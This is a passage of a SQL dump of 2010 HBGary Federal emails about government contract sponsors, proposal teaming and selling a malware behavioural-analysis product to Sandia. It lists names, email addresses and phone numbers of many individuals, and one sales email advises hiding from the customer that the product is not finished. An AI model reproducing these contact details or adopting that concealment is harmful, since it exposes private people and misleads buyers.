Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nInteresting\r\ninterview with Dr. Bob Brammer\r\n\r\n&nbsp;\r\n\r\nhttp://blog.executivebiz.com/dr-bob-brammer-of-tasc-a-cto-cant-let-his-organization-be-surprised/7358\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPatricia O. Beane\r\n\r\nManager, Strategic\r\nPrograms \r\nTransformational\r\nResearch, Integration and \r\nDemonstration\r\n(TRIAD) Network \r\nNorthrop\r\nGrumman Information Systems \r\n100 Brickstone\r\nSquare \r\nAndover,\r\nMA&nbsp; 01810 \r\n978-749-2413\r\noffice \r\n508-265-0548\r\nmobile \r\npatricia.beane@ngc.com \r\nFor info\r\nvisit: http://triad.is.northgrum.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14744,'aaron_hbgary_com/14744.html'),(3042,'2010-02-24','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001441.M703681P3547Q3042.eml','ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','Past Bayesian Reasoning work at HBGary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nOn our DHS SBIR contract we gave SAIC $250k to be a sub to\r\ndevelop Bayesian Reasoning models for bot and rootkit detection.&nbsp; The only\r\n&#8220;management&#8221; we did was make sure Jim Jones gave us monthly\r\nreports.&nbsp; I have no idea if he delivered any actual code.&nbsp; Our tech\r\nguys completely ignored him.&nbsp; My guess is we didn&#8217;t get much value,\r\nbut maybe there is something we can leverage for DARPA.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9808,'aaron_hbgary_com/9808.html'),(3043,'2010-02-25','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297001441.M948792P3547Q3043.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Article/Interview with Dr. Brammer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe sponsor will hopefully be DISA, just spoke with our POC\r\nthere and he needs some things from us to run by his legal team. Aaron, I&#8217;ll\r\ngive you a ring to discuss, much quicker than trying to type it out.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest, Matt\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, February 24, 2010 12:57 PM\r\nTo: \'Aaron Barr\'\r\nCc: matt@hbgary.com\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes, matt who is sponsor?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 9:55 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDo we have a government sponsor?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Winterfeld,\r\nSteven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nDate: February 24, 2010 12:52:18 PM EST\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGenerally\r\nyou have a gov sponsor, develop the package, have DA sign off and share that\r\nwith other customers.&nbsp; &nbsp;There are other paths but I think that would\r\nbe the most efficient.&nbsp;&nbsp; Lirette has folks that can develop the\r\npackage. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 10:48 AM\r\nTo: Winterfeld, Steven P (TASC Inc)\r\nSubject: Re: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYuk.\r\n&nbsp;I need to get ddna diacap approved. &nbsp;How do I do that?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 10:20 AM, &quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Beane, Patricia O\r\n(IS) \r\n\r\nSubject: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nInteresting\r\ninterview with Dr. Bob Brammer\r\n\r\n&nbsp;\r\n\r\nhttp://blog.executivebiz.com/dr-bob-brammer-of-tasc-a-cto-cant-let-his-organization-be-surprised/7358\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPatricia O. Beane\r\n\r\nManager,\r\nStrategic Programs \r\nTransformational\r\nResearch, Integration and \r\nDemonstration\r\n(TRIAD) Network \r\nNorthrop\r\nGrumman Information Systems \r\n100 Brickstone\r\nSquare \r\nAndover,\r\nMA&nbsp; 01810 \r\n978-749-2413\r\noffice \r\n508-265-0548\r\nmobile \r\npatricia.beane@ngc.com \r\nFor info\r\nvisit: http://triad.is.northgrum.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7693,'aaron_hbgary_com/7693.html'),(3044,'2010-02-24','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297001442.M271426P3547Q3044.eml','\"Mahar, Ted\" <Ted.Mahar@mail.house.gov>,\"Aaron Barr\" <aaron@hbgary.com>,\"Mahar, Ted\" <Ted.Mahar@mail.house.gov>','Fwd: HBGary follow up re: DDNA for analyzing large volumes of data 	with behaviors','Ted / Aaron\r\n \r\nI am at HQ today.  Shawn and Greg showed me the server farm for analyzing large volumes of data with Digital DNA.  Sandia Labs (DOE lab) has a customer (probably DOD or Intel --- not disclosed) that requires them to analyze large volumes of malware.  For 2010 they have been asked to include &quot;behavioral&quot; analysis into their services -- which they currently don&#39;t have.\r\n\r\n \r\nGreg said that HBGary Federal could &quot;customize&quot; this for customers.\r\n \r\nSandia is available the week of March 8th to schedule a conference call.  When are you available that week?\r\n \r\nOne thing to know is  -- Sandia cannot purchase a &quot;customized&quot; product.  They would have to purchase a product commercially available and  then if required we can wrap professional services in if they require reporting capabilities and/or a custom interface.\r\n\r\n \r\nGreg says this is not &quot;productized&quot; but we don&#39;t need to mention that on the call.  \r\n \r\nPlease see email correspondence below.\r\n \r\nThank you\r\nMaria\r\n \r\n \r\n---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;Date: Wed, Feb 24, 2010 at 10:34 AM\r\nSubject: Re: HBGary follow up re: DDNA for analyzing large volumes of data with behaviorsTo: &quot;Conrad, Gregory N&quot; &lt;gnconra@sandia.gov&gt;\r\nGreg\r\n \r\nOK I will include HBGary Federal team to understand your requirements and explain the product functionality --\r\n \r\nAs of today, this is not &quot;productized&quot; in that it does not include any bells and whistles, but it can be sold today and is well suited for your purposes.  You will probably want additional reporting capabilities which the HBGary Federal Team can provide.  They are actually a separate company providing consulting services.\r\n\r\n \r\nI&#39;ll check calendars and get back to you with availability.  To give you a ballpark on pricing -- the product price is over $100,000.\r\n \r\nMaria\r\n\r\n\r\n\r\nOn Wed, Feb 24, 2010 at 10:22 AM, Conrad, Gregory N &lt;gnconra@sandia.gov&gt; wrote:\r\n\r\n\r\n\r\nMaria,\r\n \r\nWe will be meeting with our customers this next week to finalize our 2010 work. It would be better to wait until after that discussion before we talk. I suggest we set a time for the week of March 8. When we talk I want to include Sam Mulder, also from SNL.  \r\n\r\n \r\nGreg\r\n \r\nGreg Conrad Sandia National Laboratory Security Risk Assessment PO Box 5800, MS-1235 \r\nAlbuquerque, NM 87185-0759 Tel: (505)844-0471 Fax: (505) 844-0011Email: gnconra@sandia.gov \r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, February 24, 2010 10:58 AM\r\nTo: Conrad, Gregory NSubject: HBGary follow up re: DDNA for analyzing large volumes of data with behaviors\r\n\r\n\r\n\r\n \r\n\r\nHi Greg\r\n\r\n \r\n\r\nIs there a good time to call you back about helping you with your project for analyzing volumes of malware using behavorial analysis?\r\n\r\n \r\n\r\nThanks,\r\n\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',2692,'aaron_hbgary_com/2692.html'),(3045,'2010-02-24','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297001442.M545267P3547Q3045.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: HBGary follow up re: DDNA for analyzing large volumes of data 	with behaviors','\r\n \r\nTed / Aaron\r\n \r\nI am at HQ today.  Shawn and Greg showed me the server farm for analyzing large volumes of data with Digital DNA.  Sandia Labs (DOE lab) has a customer (probably DOD or Intel --- not disclosed) that requires them to analyze large volumes of malware.  For 2010 they have been asked to include &quot;behavioral&quot; analysis into their services -- which they currently don&#39;t have.\r\n\r\n \r\nGreg said that HBGary Federal could &quot;customize&quot; this for customers.\r\n \r\nSandia is available the week of March 8th to schedule a conference call.  When are you available that week?\r\n \r\nOne thing to know is  -- Sandia cannot purchase a &quot;customized&quot; product.  They would have to purchase a product commercially available and  then if required we can wrap professional services in if they require reporting capabilities and/or a custom interface.\r\n\r\n \r\nGreg says this is not &quot;productized&quot; but we don&#39;t need to mention that on the call.  \r\n \r\nPlease see email correspondence below.\r\n \r\nThank you\r\nMaria\r\n\r\n\r\n\r\n \r\n \r\n---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: Wed, Feb 24, 2010 at 10:34 AMSubject: Re: HBGary follow up re: DDNA for analyzing large volumes of data with behaviorsTo: &quot;Conrad, Gregory N&quot; &lt;gnconra@sandia.gov&gt;\r\n\r\nGreg\r\n \r\nOK I will include HBGary Federal team to understand your requirements and explain the product functionality --\r\n \r\nAs of today, this is not &quot;productized&quot; in that it does not include any bells and whistles, but it can be sold today and is well suited for your purposes.  You will probably want additional reporting capabilities which the HBGary Federal Team can provide.  They are actually a separate company providing consulting services.\r\n\r\n \r\nI&#39;ll check calendars and get back to you with availability.  To give you a ballpark on pricing -- the product price is over $100,000.\r\n \r\nMaria\r\n\r\n\r\n\r\nOn Wed, Feb 24, 2010 at 10:22 AM, Conrad, Gregory N &lt;gnconra@sandia.gov&gt; wrote:\r\n\r\n\r\n\r\nMaria,\r\n \r\nWe will be meeting with our customers this next week to finalize our 2010 work. It would be better to wait until after that discussion before we talk. I suggest we set a time for the week of March 8. When we talk I want to include Sam Mulder, also from SNL.  \r\n\r\n \r\nGreg\r\n \r\nGreg Conrad Sandia National Laboratory Security Risk Assessment PO Box 5800, MS-1235 \r\nAlbuquerque, NM 87185-0759 Tel: (505)844-0471 Fax: (505) 844-0011Email: gnconra@sandia.gov \r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, February 24, 2010 10:58 AM\r\nTo: Conrad, Gregory NSubject: HBGary follow up re: DDNA for analyzing large volumes of data with behaviors\r\n\r\n\r\n\r\n \r\n\r\nHi Greg\r\n\r\n \r\n\r\nIs there a good time to call you back about helping you with your project for analyzing volumes of malware using behavorial analysis?\r\n\r\n \r\n\r\nThanks,\r\n\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',7289,'aaron_hbgary_com/7289.html'),(3046,'2010-02-25','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297001442.M742398P3547Q3046.eml','\"Aaron Barr\" <aaron@hbgary.com>','Navy (ONR)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFyi, in case you are interested in talking to GD. Not sure where\r\nthe relationship is after DARPA&#8230;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest, Matt\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMatt, \r\n\r\n&nbsp;\r\n\r\nYes, GDAIS &amp; C4S are submitting whitepapers for at least 6\r\nof the 8 topic areas.&nbsp; If you would be interested in partnering on the\r\nbids in May, I&#8217;d recommend that you work with Ron Comeau at our San\r\nAntonio office.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJim\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJim Jaeger \r\nDirector \r\nCyber Systems \r\nPh: 240-294-2221 \r\nCell: 443-926-1159 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',14077,'aaron_hbgary_com/14077.html'),(3047,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001442.M927964P3547Q3047.eml','\"Dave Lirette\" <David.P.Lirette@tasc.com>,\"Dave Lirette\" <David.P.Lirette@tasc.com>','Fwd: Article/Interview with Dr. Brammer','Dave,Let me introduce Matt, you can get from the email thread what we are looking for to a degree.  If you could provide some guidance to Matt that would be great.\r\nThink we can get a ski day in march or has snow continued to suck?ThanksAaronFrom my iPhoneBegin forwarded message:\r\nFrom: &quot;Matt O&#39;Flynn&quot; &lt;matt@hbgary.com&gt;Date: February 25, 2010 1:12:43 AM ESTTo: &quot;&#39;Penny Leavy-Hoglund&#39;&quot; &lt;penny@hbgary.com&gt;, &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\nThe sponsor will hopefully be DISA, just spoke with our POC\r\nthere and he needs some things from us to run by his legal team. Aaron, I’ll\r\ngive you a ring to discuss, much quicker than trying to type it out.\r\n\r\n \r\n\r\n\r\n\r\nBest, Matt\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, February 24, 2010 12:57 PM\r\nTo: &#39;Aaron Barr&#39;\r\nCc: matt@hbgary.com\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nYes, matt who is sponsor?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 9:55 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nDo we have a government sponsor?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Winterfeld,\r\nSteven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nDate: February 24, 2010 12:52:18 PM EST\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGenerally\r\nyou have a gov sponsor, develop the package, have DA sign off and share that\r\nwith other customers.   There are other paths but I think that would\r\nbe the most efficient.   Lirette has folks that can develop the\r\npackage. \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Wednesday, February 24, 2010 10:48 AM\r\nTo: Winterfeld, Steven P (TASC Inc)\r\nSubject: Re: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nYuk.\r\n I need to get ddna diacap approved.  How do I do that?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 10:20 AM, &quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Beane, Patricia O\r\n(IS) \r\n\r\nSubject: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nInteresting\r\ninterview with Dr. Bob Brammer\r\n\r\n \r\n\r\nhttp://blog.executivebiz.com/dr-bob-brammer-of-tasc-a-cto-cant-let-his-organization-be-surprised/7358\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nPatricia O. Beane\r\n\r\nManager,\r\nStrategic Programs \r\nTransformational\r\nResearch, Integration and \r\nDemonstration\r\n(TRIAD) Network \r\nNorthrop\r\nGrumman Information Systems \r\n100 Brickstone\r\nSquare \r\nAndover,\r\nMA  01810 \r\n978-749-2413\r\noffice \r\n508-265-0548\r\nmobile \r\npatricia.beane@ngc.com \r\nFor info\r\nvisit: http://triad.is.northgrum.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5027,'aaron_hbgary_com/5027.html'),(3048,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001443.M130268P3547Q3048.eml','\"Rich Cummings\" <rich@hbgary.com>','Berkley/SRI','Rich,\r\n\r\nCan you support a telecon tomorrow or Friday to discuss Berkley and SRI efforts in RE and Malware analysis.  This is in concert with GD to vet their capabilities.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5271,'aaron_hbgary_com/5271.html'),(3049,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001443.M347644P3547Q3049.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Conversations','Hey Chris,\r\n\r\nWaiting for RIch/Greg to respond on availability.   Do you have an literature on Berkley or SRI proposed efforts/capabilities?\r\n\r\nI took what was all said yesterday.  I would still very much like to prime Tech3 but think it would be good to have you on the team to bring malware expertise and operational relevance, etc.  I have to talk with Pikewerks but think that will be fine, so so far it would be an HBGary/Secure Decisions/Pikewerks/GD team, and then if we add someone else.  I am going to talk with Secure Decisions on friday about levels of work, etc.  Going to talk with Pikewerks tomorrow.\r\n\r\nHave you had a chance to talk with Brian from Xetron?  Is Jason working on bullets or an outline?  I was going to start pulling the relevant pages out form the BAA and put together a template that we could start to frame our outline for a proposal around and then we can start making writing assignments.  Thoughts?  For Tech area 1 hopefully we are looking at a GD/NG/HBGary + team.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16687,'aaron_hbgary_com/16687.html'),(3050,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001443.M620196P3547Q3050.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: One cnd','meant ssp.On Feb 24, 2010, at 10:49 AM, Aaron Barr wrote:Doesn\'t the sap for secure enabled protocols fit?From my iPhoneOn Feb 24, 2010, at 10:42 AM, \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt; wrote:\r\nHuh????&nbsp; Where r u?&nbsp; Newsroom?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 24 09:29:20 2010\r\nSubject: One cnd\r\n\r\nYou should have been here.&nbsp; We newsroom go after this.&nbsp; HBGary +\r\nfidelis + ig + ?\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1175,'aaron_hbgary_com/1175.html'),(3051,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001443.M802594P3547Q3051.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,','Re: HBGary follow up re: DDNA for analyzing large volumes of data  with behaviors','RIght now I am wide open. Proposal writing. &nbsp;I think you meant to send to Ted vera but accidentally sent to a guy from the house.AaronOn Feb 24, 2010, at 1:43 PM, Maria Lucas wrote:Ted / Aaron\r\n&nbsp;\r\nI am at HQ today.&nbsp; Shawn and Greg showed me the server farm for analyzing large volumes of data with Digital DNA.&nbsp; Sandia Labs (DOE lab) has a customer (probably DOD or Intel --- not disclosed) that requires them to analyze large volumes of malware.&nbsp; For 2010 they have been asked to include \"behavioral\" analysis into their services -- which they currently don\'t have.\r\n\r\n&nbsp;\r\nGreg said that HBGary Federal could \"customize\" this for customers.\r\n&nbsp;\r\nSandia is available the week of March 8th to schedule a conference call.&nbsp; When are you available that week?\r\n&nbsp;\r\nOne thing to know is&nbsp; -- Sandia cannot purchase a \"customized\" product.&nbsp; They would have to purchase&nbsp;a product commercially available and&nbsp; then if required we can wrap professional services in if they require reporting capabilities and/or a custom interface.\r\n\r\n&nbsp;\r\nGreg says this is not \"productized\" but we don\'t need to mention that on the call.&nbsp; \r\n&nbsp;\r\nPlease see email correspondence below.\r\n&nbsp;\r\nThank you\r\nMaria\r\n&nbsp;\r\n&nbsp;\r\n---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;Date: Wed, Feb 24, 2010 at 10:34 AM\r\nSubject: Re: HBGary follow up re: DDNA for analyzing large volumes of data with behaviorsTo: \"Conrad, Gregory N\" &lt;gnconra@sandia.gov&gt;\r\nGreg\r\n&nbsp;\r\nOK I will include HBGary Federal team to understand your requirements and explain the product functionality&nbsp;--\r\n&nbsp;\r\nAs of today, this is not \"productized\" in that it does not include any bells and whistles,&nbsp;but it can be sold today and&nbsp;is well suited for&nbsp;your purposes.&nbsp; You will probably want additional reporting capabilities which the HBGary Federal Team can provide.&nbsp; They are actually a separate company providing consulting services.\r\n\r\n&nbsp;\r\nI\'ll check calendars and get back to you with availability.&nbsp; To give you a ballpark on pricing -- the product price is over $100,000.\r\n&nbsp;\r\nMaria\r\n\r\n\r\n\r\nOn Wed, Feb 24, 2010 at 10:22 AM, Conrad, Gregory N &lt;gnconra@sandia.gov&gt; wrote:\r\n\r\n\r\nMaria,&nbsp;We will be meeting with our customers this next week to finalize our 2010 work. It would be better to wait until after that discussion before we talk. I suggest we set a time for the week of March 8. When we talk I want to include Sam Mulder, also from SNL. &nbsp;&nbsp;Greg&nbsp;Greg Conrad Sandia National Laboratory Security Risk Assessment PO Box 5800, MS-1235 \r\nAlbuquerque, NM 87185-0759 Tel: (505)844-0471 Fax: (505) 844-0011Email: gnconra@sandia.gov &nbsp;\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, February 24, 2010 10:58 AM\r\nTo: Conrad, Gregory NSubject: HBGary follow up re: DDNA for analyzing large volumes of data with behaviors\r\n\r\n\r\n&nbsp;\r\nHi Greg\r\n&nbsp;\r\nIs there a good time to call you back about helping you with your project for analyzing volumes of malware using behavorial analysis?\r\n&nbsp;\r\nThanks,\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2326,'aaron_hbgary_com/2326.html'),(3052,'2010-02-24','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297001443.M994668P3547Q3052.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary follow up re: DDNA for analyzing large volumes of data 	with behaviors','Yes, he told me :). The House purchased (4) Responder Pros.  They love our product and looking at Enterprise when we can integrate with BigFix...\r\nOn Wed, Feb 24, 2010 at 11:37 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nRIght now I am wide open. Proposal writing.  I think you meant to send to Ted vera but accidentally sent to a guy from the house. \r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 1:43 PM, Maria Lucas wrote:\r\n\r\nTed / Aaron\r\n \r\nI am at HQ today.  Shawn and Greg showed me the server farm for analyzing large volumes of data with Digital DNA.  Sandia Labs (DOE lab) has a customer (probably DOD or Intel --- not disclosed) that requires them to analyze large volumes of malware.  For 2010 they have been asked to include &quot;behavioral&quot; analysis into their services -- which they currently don&#39;t have.\r\n\r\n \r\nGreg said that HBGary Federal could &quot;customize&quot; this for customers.\r\n \r\nSandia is available the week of March 8th to schedule a conference call.  When are you available that week?\r\n \r\nOne thing to know is  -- Sandia cannot purchase a &quot;customized&quot; product.  They would have to purchase a product commercially available and  then if required we can wrap professional services in if they require reporting capabilities and/or a custom interface.\r\n\r\n \r\nGreg says this is not &quot;productized&quot; but we don&#39;t need to mention that on the call.  \r\n \r\nPlease see email correspondence below.\r\n \r\nThank you\r\nMaria\r\n \r\n \r\n---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: Wed, Feb 24, 2010 at 10:34 AMSubject: Re: HBGary follow up re: DDNA for analyzing large volumes of data with behaviorsTo: &quot;Conrad, Gregory N&quot; &lt;gnconra@sandia.gov&gt;\r\n\r\nGreg\r\n \r\nOK I will include HBGary Federal team to understand your requirements and explain the product functionality --\r\n \r\nAs of today, this is not &quot;productized&quot; in that it does not include any bells and whistles, but it can be sold today and is well suited for your purposes.  You will probably want additional reporting capabilities which the HBGary Federal Team can provide.  They are actually a separate company providing consulting services.\r\n\r\n \r\nI&#39;ll check calendars and get back to you with availability.  To give you a ballpark on pricing -- the product price is over $100,000.\r\n \r\nMaria\r\n\r\n\r\n\r\nOn Wed, Feb 24, 2010 at 10:22 AM, Conrad, Gregory N &lt;gnconra@sandia.gov&gt; wrote:\r\n\r\n\r\n\r\nMaria,\r\n \r\nWe will be meeting with our customers this next week to finalize our 2010 work. It would be better to wait until after that discussion before we talk. I suggest we set a time for the week of March 8. When we talk I want to include Sam Mulder, also from SNL.  \r\n\r\n \r\nGreg\r\n \r\nGreg Conrad Sandia National Laboratory Security Risk Assessment PO Box 5800, MS-1235 \r\nAlbuquerque, NM 87185-0759 